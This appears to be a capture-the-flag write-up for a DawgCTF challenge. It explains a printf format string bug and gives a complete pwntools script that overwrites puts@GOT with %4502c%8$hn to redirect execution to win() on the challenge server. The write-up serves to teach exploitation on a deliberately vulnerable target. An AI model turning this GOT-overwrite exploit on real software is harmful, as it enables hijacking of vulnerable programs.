$ cat writeup.md…
$ cat writeup.md…
metactf
Task: a remote binary reads one line with fgets() and passes it directly to printf(), creating a format string bug in front of a final puts() call. Solution: place puts@GOT on the stack, use %8$hn to write the low two bytes of win(), and let the next puts() jump into the flag-printing routine.
A server at nc.umbccd.net:8925 reads input with fgets into a 128-byte buffer and then calls printf(buffer), followed by puts("\nGoodbye!"). The provided source also contains a win() function that opens flag.txt and prints it.
We are given a small 64-bit ELF source and a remote service running it. The objective is to turn the unsafe printf(buffer) into code execution and redirect the program into win(), which prints the flag and exits.
The bug is a classic format string vulnerability:
fgets(buffer, sizeof(buffer), stdin); printf(buffer); puts("\nGoodbye!");
Because our input becomes the format string itself, we control both reads from the stack (%p, %x, positional arguments) and writes through %n-style specifiers. That makes the immediately following puts() call the perfect control-flow target: if we overwrite puts@GOT with win, the next call transfers execution straight into the flag routine.
The useful addresses were:
puts@got = 0x404000win = 0x401196Only the low 16 bits needed to change. Writing 0x1196 into puts@GOT with %hn was enough because the higher bytes already matched the same binary/PLT region.
The key reconnaissance step was finding where an appended pointer appears in printf's argument list. By padding the format string portion to 16 bytes and then appending an 8-byte address, the controlled qword became reachable as positional argument 8.
That gives a stable primitive of the form:
%<count>c%8$hn + <8-byte destination address>
Since win = 0x401196, we need printf to have emitted 0x1196 = 4502 characters before %8$hn executes. Therefore the final write count is produced with %4502c.
puts@GOT on the stack as argument 8.0x1196.%8$hn to write those low two bytes into 0x404000.puts("\nGoodbye!") resolves through the overwritten GOT entry and jumps to win() instead.This is cleaner than building a larger payload because the binary already calls the function we want to hijack immediately after the vulnerable sink.
#!/usr/bin/env python3 from pwn import * HOST, PORT = 'nc.umbccd.net', 8925 PUTS_GOT = 0x404000 def main(): payload = b'%4502c%8$hn'.ljust(16, b'A') + p64(PUTS_GOT) io = remote(HOST, PORT, timeout=5) io.sendline(payload) print(io.recvall(timeout=2).decode('latin-1', 'replace')) if __name__ == '__main__': main()
The service returns output containing:
Flag: DawgCTF{REDACTED}
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
cat pricing.md$ grep --similar